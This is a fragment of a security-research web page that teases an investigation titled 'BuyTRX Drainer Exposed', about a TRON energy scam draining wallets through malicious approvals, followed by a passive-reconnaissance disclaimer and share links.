Shared hosting, shared operators — how phishing networks reuse infrastructure across campaigns.
BuyTRX Drainer Exposed

TRON-based energy scam draining wallets through malicious smart contract approvals.

Disclaimer: This investigation was conducted entirely through passive reconnaissance and public
APls. No unauthorized access to any system was performed. Telegram Bot API calls used a token that
was publicly exposed by the operators in an unauthenticated endpoint. All domain names in this article
have been defanged per standard InfoSec convention.

Share This Investigation

X [ Twitter Telegram Reddit LinkedIn

Related Investigations
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